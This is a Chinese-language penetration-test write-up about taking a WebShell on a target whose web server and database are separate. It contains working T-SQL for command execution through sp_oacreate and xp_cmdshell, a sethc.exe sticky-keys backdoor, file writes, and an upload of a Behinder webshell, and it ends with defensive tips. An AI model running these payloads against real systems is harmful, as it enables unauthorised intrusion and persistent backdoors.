实战-站库分离拿下WebShell
字数 1115 2025-08-18 17:33:32
实战:站库分离环境下获取WebShell的完整过程
1. 信息收集与泄露发现
-
目录扫描发现漏洞
- 通过目录扫描工具发现目标网站存在目录遍历漏洞
- 在遍历的目录中发现了
app目录的备份文件 - 备份文件中包含数据库配置文件
-
关键信息获取
- 数据库使用sa账户连接(最高权限)
- 发现主站无CDN保护
- 主站IP与数据库配置文件中的IP不一致,确认是站库分离架构
2. MSSQL数据库渗透
2.1 使用Xp_cmdshell执行命令
-
连接数据库
- 使用sqlmap直接连接数据库:
sqlmap -d "db_type://user:pwd@ip:port/db" command - 确认数据库版本为SQL Server 2000
- 使用sqlmap直接连接数据库:
-
手动连接尝试
- 由于Navicat不支持MSSQL 2000,改用Database4连接
- MSSQL 2000默认开启Xp_cmdshell,可直接调用
- 执行命令失败,可能原因:数据库账户权限不足,无法创建Cmd进程
2.2 使用Sp_oacreate执行命令
-
Sp_oacreate特点
- 无命令执行回显
- 可将命令输出写入文件再读取
-
两种执行方式尝试
-- 方式1 declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1'; -- 方式2 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'- 两种方式都导致Database4卡死,执行失败
2.3 使用Sp_oacreate创建Shift后门
-- 复制explorer.exe替换sethc.exe
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
-- 复制到dllcache目录
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
- 命令执行成功但无法触发后门,原因未知
2.4 使用Sp_oacreate读写文件
-
创建和写入文件
declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'e:\tmp1.txt', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'tes1t' -
查看目录结构
execute master..xp_dirtree 'e:\',1,1 -
查看文件内容
- 注意:表名不能重复,每次查询需更换表名
3. 代码审计与WebShell获取
-
发现上传漏洞
- 审计源码发现未防护的文件上传功能
- 上传文件会直接传送到
http://主站IP:8082/upload下
-
上传测试
- 构造HTML上传页面,提交到
app目录下的upload.php - 先上传正常图片测试功能
- 构造HTML上传页面,提交到
-
路径问题
- 提供的路径错误,实际路径在主站下的
app目录
- 提供的路径错误,实际路径在主站下的
-
上传WebShell
- 初次上传一句话木马被杀
- 测试上传
phpinfo()可执行 - 最终上传冰蝎马成功获取WebShell
关键点总结
- 信息收集至关重要:目录遍历漏洞导致数据库配置泄露
- 站库分离环境特点:主站和数据库不在同一服务器
- SQL Server 2000特性:默认开启Xp_cmdshell
- 权限问题:即使有sa权限也可能受系统权限限制
- 多种执行命令方式:Xp_cmdshell、Sp_oacreate等
- 上传漏洞利用:代码审计发现未防护的上传点
- 绕过防护:从简单测试(phpinfo)到复杂马(冰蝎)的渐进过程
防御建议
- 禁用目录遍历功能
- 不要在生产环境使用sa账户
- 定期清理备份文件
- 对上传功能进行严格过滤
- 最小化数据库账户权限
- 禁用不必要的存储过程(Xp_cmdshell等)
- 站库分离环境下加强数据库服务器防护